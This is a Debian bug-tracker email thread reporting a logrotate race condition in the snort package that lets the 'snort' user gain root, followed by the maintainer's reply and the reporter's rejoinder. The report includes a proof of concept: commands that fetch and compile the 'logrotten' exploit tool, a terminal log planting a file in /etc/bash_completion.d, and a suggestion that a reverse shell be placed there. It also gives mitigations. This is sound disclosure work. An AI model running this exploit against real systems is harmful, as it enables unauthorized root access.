Hello,

Thank you very much for your answer. I thought it would be a security issue if 
a user that is not supposed to be root can gain root-access even if it is a 
system-user without a password. There might  be a reason why the snort-process 
is not owned by root. Snort is a high value target and is a "risky software"  
written in c that parses arbitrary traffic from the network. If an attacker 
could gain somehow code execution through snort it would be very easy to 
elevate privileges.


I also want to mention that I did not only proposed a fix by owning 
/var/log/snort by root but also proposed that the problem can be fixed by using 
the su-directive to rotate the files as user snort in the logrotate-config.  It 
might be an option if you don't want to adjust the paths for the logfiles.

Best regards

Wolfgang Hotwagner




________________________________
From: Javier Fernandez-Sanguino <j...@computer.org>
Sent: Wednesday, April 27, 2022 6:15:33 PM
To: sec-advisory; 1009...@bugs.debian.org
Cc: Debian Bug Control System
Subject: Re: Bug#1009820: snort: Privilege escalation due to insecure use of 
logrotate

severity 1009820 normal
tags 1009820 - upstream
thanks

Dear Wolfgang,

The 'snort' user is not a regular user (but a user created by the package 
itself, which is blocked from access as it has no password set). Consequently 
the privilege escalation you describe cannot be leveraged by a normal user. The 
only user in a standard installation of this package that can become 'snort' is 
actually the root user itself or if there is a remote code execution in the 
Snort software which compromises the Snort process itself.

The fix proposed (make the files managed by root) is not invalid:
- if /var/log/snort is owned by root then the Snort process (running as Snort 
user) will not be able to create the log files
- the Snort process is running as 'snort' user and should not be modified to be 
run as 'root'

The reason for this setup is precisely to improve the security of the software 
as distributed in Debian and applying a principle of minimum privilege, it is 
not an option to have this software running as root as a vulnerability found in 
the software (which is reading packages from the network, input which is by 
definition, untrusted) could potentially lead to a compromise of the system it 
is running in

Consequently I'm adjusting the bug:
- To normal (to be reviewed) as this is not, in my view, a critical bug
- To Debian-specific, as the configuration of logrotate and the setup (Snort is 
running as 'snort' user) is specific to the package and not defined by upstream

The most likely fix for this bug in any case is to adjust the definitions in 
the logrotate file, which uses "/var/log/snort/*/alert" and 
"/var/log/snort/*/*log". These definitions are too broad and could be 
simplified.

Best regards,

Javier Fernandez-Sanguino


On Mon, 18 Apr 2022 at 19:27, Wolfgang Hotwagner 
<sec-advis...@ait.ac.at<mailto:sec-advis...@ait.ac.at>> wrote:
Package: snort
Version: 2.9.15.1-5
Severity: critical
Tags: security upstream
Justification: root security hole
X-Debbugs-Cc: sec-advis...@ait.ac.at<mailto:sec-advis...@ait.ac.at>

Dear Maintainer,

The path of the logdirectory of snort can be manipulated by user

Snort in Debian Bullseye:

# ls -ld /var/log/snort/
drwxr-s--- 3 snort adm 4096 Apr 14 08:44 /var/log/snort/


The files in /var/log/snort/*/*log are once a day rotated by

logrotate as user root with the following config:

/var/log/snort/snort.alert /var/log/snort/snort.alert.fast /var/log/snort/*log 
/var/log/snort/*/alert /var/log/snort/*/*log {
    daily
    rotate 7
    compress
    missingok
    notifempty
    create 0640 snort adm
    sharedscripts
    postrotate
        if [ -x /usr/sbin/invoke-rc.d ]; then \
            invoke-rc.d snort restart > /dev/null; \
        else \
            /etc/init.d/snort restart > /dev/null; \
        fi;
    endscript
}

Due to logrotate is prone to a race-condition(see the link to my blog below) it 
is possible for user "snort" to replace or create any directory in 
/var/log/snort/ with a symbolik link to any

directory(for example /etc/bash_completion.d). logrotate will place files AS 
ROOT into /etc/bash_completition.d and set the owner and group to "snort.adm". 
An attacker could simply place a reverse-shell into this file. As soon as root 
logs in, a reverse shell will be executed then.

You can find an exploit for this bug at my blog: 
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
 and https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition

Proof of Concept:
#################

snort@b8ff2e70f94d:~$ cd /tm

snort@b8ff2e70f94d:/tmp$ git clone https://github.com/whotwagner/logrotten.git
Cloning into 'logrotten'...
remote: Enumerating objects: 97, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 97 (delta 4), reused 7 (delta 2), pack-reused 87
Receiving objects: 100% (97/97), 419.77 KiB | 691.00 KiB/s, done.
Resolving deltas: 100% (41/41), done.
snort@b8ff2e70f94d:/tmp$ cd logrotten/
snort@b8ff2e70f94d:/tmp/logrotten$ gcc -o logrotten logrotten.c

snort@b8ff2e70f94d:/tmp/logrotten$ echo "hello world" > payload
snort@b8ff2e70f94d:/tmp/logrotten$ mkdir /var/log/snort/pwn
snort@b8ff2e70f94d:/tmp/logrotten$ vim /var/log/snort/pwn/pwnme.lo

snort@b8ff2e70f94d:/tmp/logrotten$ ./logrotten -p payload -c 
/var/log/snort/pwn/pwnme.log
Waiting for rotating /var/log/snort/pwn/pwnme.log...
Renamed /var/log/snort/pwn with /var/log/snort/pwn2 and created symlink to 
/etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
snort@b8ff2e70f94d:/tmp/logrotten$ ls -l /etc/bash_completion.d/
total 8
-rw-r--r-- 1 root  root 439 Mar 10  2021 git-prompt
-r-xr-xr-x 1 snort adm   19 Apr 14 08:43 pwnme.log


Mitigation:
###########

You could mitigate the problem by changing the owner and group of 
/var/log/snort to root, or by using the "su option" in /etc/logrotate.d/snort.

Note: I also checked out the sources of the current snort(snort-2.9.19). The 
source archive contains a file "snort-2.9.19/rpm/snort.logrotate" with a very 
similar content.

I have tested this vulnerability on Debian Bullseye with the following snort 
version:

||/ Name           Version      Architecture Description
+++-==============-============-============-===========================================
ii  snort          2.9.15.1-5   amd64        flexible Network Intrusion 
Detection System


I also checked out Debian Buster and it has a different logrotate-config for 
snort which doesn't seem to be affected.


-- System Information:
Debian Release: 11.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.10.0-13-amd64 (SMP w/1 CPU thread)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages snort depends on:
ii  adduser                      3.118
ii  debconf [debconf-2.0]        1.5.77
ii  init-system-helpers          1.60
ii  libc6                        2.31-13+deb11u3
ii  libdaq2                      2.0.7-5
ii  libdumbnet1                  1.12-9
ii  liblzma5                     5.2.5-2
ii  libnetfilter-queue1          1.0.5-2
ii  libnghttp2-14                1.43.0-1
ii  libpcap0.8                   1.10.0-2
ii  libpcre3                     2:8.39-13
ii  libssl1.1                    1.1.1n-0+deb11u1
ii  logrotate                    3.18.0-2
ii  lsb-base                     11.1.0
ii  net-tools                    1.60+git20181103.0eebece-1
ii  rsyslog [system-log-daemon]  8.2102.0-2
ii  snort-common                 2.9.15.1-5
ii  snort-common-libraries       2.9.15.1-5
ii  snort-rules-default          2.9.15.1-5
ii  zlib1g                       1:1.2.11.dfsg-2+deb11u1

Versions of packages snort recommends:
ii  iproute2  5.10.0-4

Versions of packages snort suggests:
pn  snort-doc  <none>

-- debconf information:
* snort/interface: enp0s3
  snort/options:
  snort/invalid_interface:
  snort/please_restart_manually:
  snort/send_stats: true
  snort/disable_promiscuous: false
* snort/address_range: 192.168.0.0/16<http://192.168.0.0/16>
  snort/stats_rcpt: root
  snort/startup: boot
  snort/stats_treshold: 1
  snort/config_parameters:

Reply via email to